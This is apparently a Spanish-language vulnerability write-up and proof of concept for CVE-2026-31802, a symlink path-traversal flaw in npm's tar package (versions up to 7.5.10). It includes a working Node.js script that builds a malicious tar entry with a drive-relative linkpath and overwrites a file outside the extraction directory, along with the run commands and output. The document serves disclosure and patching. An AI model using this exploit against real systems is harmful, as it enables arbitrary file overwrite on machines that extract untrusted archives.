
Prueba de concepto y documentación técnica para CVE-2026-31802, un path traversal mediante symlink en npm tar que permite la sobrescritura arbitraria de archivos fuera del directorio de extracción.
Investigación: Joshua van Rijswijk
Este repositorio contiene mi prueba de concepto y el informe técnico de CVE-2026-31802, una vulnerabilidad de alta gravedad en el paquete tar de npm (node-tar) que afecta a las versiones <= 7.5.10.
Descubrí que tar puede ser engañado para crear un enlace simbólico que apunte fuera del directorio de extracción previsto mediante un objetivo de enlace simbólico relativo a la unidad como C:../../../target.txt. En la práctica, esto permite escapar de cwd durante la extracción y convertir la extracción de archivos en una primitiva de sobrescritura arbitraria de archivos.
El fallo es alcanzable mediante el comportamiento normal de extracción con archivos tar controlados por el atacante.
Mientras analizaba cómo tar maneja la extracción de enlaces simbólicos, noté que ciertos valores de linkpath se trataban de forma inconsistente durante la sanitización y validación. En particular, rutas relativas a la unidad como:
C:../../../target.txt
terminaban siendo reescritas antes de su uso, pero no se validaban en la misma forma en que finalmente se almacenaban y aplicaban.
Esa discrepancia es lo que hace explotable el fallo.
La vulnerabilidad proviene de cómo tar procesa valores de linkpath de enlaces simbólicos manipulados durante la extracción.
A alto nivel, la lógica de extracción elimina el prefijo de unidad de una ruta como:
C:../../../target.txt
y la reescribe como:
../../../target.txt
Sin embargo, la comprobación de seguridad de desvío se realiza contra el valor original antes de eliminar el prefijo, mientras que la creación del enlace simbólico utiliza posteriormente el valor reescrito.
Esto significa que un archivo malicioso puede pasar la validación usando una forma de la ruta, pero aun así producir un enlace simbólico que atraviese fuera del directorio de extracción al escribirse en el disco.
Un archivo malicioso puede contener una entrada de enlace simbólico como esta:
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt
Cuando se extrae con un uso normal como:
tar.x({ cwd, file })
ocurre lo siguiente:
linkpath.cwd.En otras palabras, la lógica de extracción valida un valor y utiliza otro. Esa brecha crea la primitiva de desvío.
Escribí la siguiente PoC para demostrar que un enlace simbólico extraído puede hacerse apuntar fuera de la raíz de extracción y luego usarse para sobrescribir un archivo fuera del directorio de trabajo.
La PoC:
../target.txta/b/llinkpath en C:../../../target.txta/b/lScript de la PoC:
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
npm install [email protected]
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt
PWNED confirma que el archivo fuera del directorio de extracción fue sobrescrito.
La salida de readlink y el listado de archivos muestran que el enlace simbólico extraído apunta fuera de la raíz de extracción prevista.
Este problema otorga a un atacante una primitiva de sobrescritura arbitraria de archivos fuera del directorio de extracción previsto, con los permisos del proceso que realiza la extracción.
Los escenarios realistas incluyen:
En esos entornos, un archivo manipulado puede provocar escrituras fuera del directorio que la aplicación espera controlar.
tar <= 7.5.10tar 7.5.11Este problema fue parcheado en 7.5.11.
Los usuarios deben actualizar de inmediato:
npm install tar@^7.5.11